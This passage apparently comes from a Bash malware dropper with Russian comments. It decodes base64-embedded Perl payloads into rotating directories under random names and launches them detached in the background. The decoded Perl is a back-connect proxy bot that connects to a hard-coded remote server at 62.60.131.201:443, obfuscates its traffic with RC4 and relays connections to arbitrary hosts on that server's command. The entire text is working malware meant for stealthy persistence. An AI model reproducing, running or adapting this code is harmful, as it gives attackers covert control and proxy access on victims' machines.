IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #53 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #53 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 54 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl 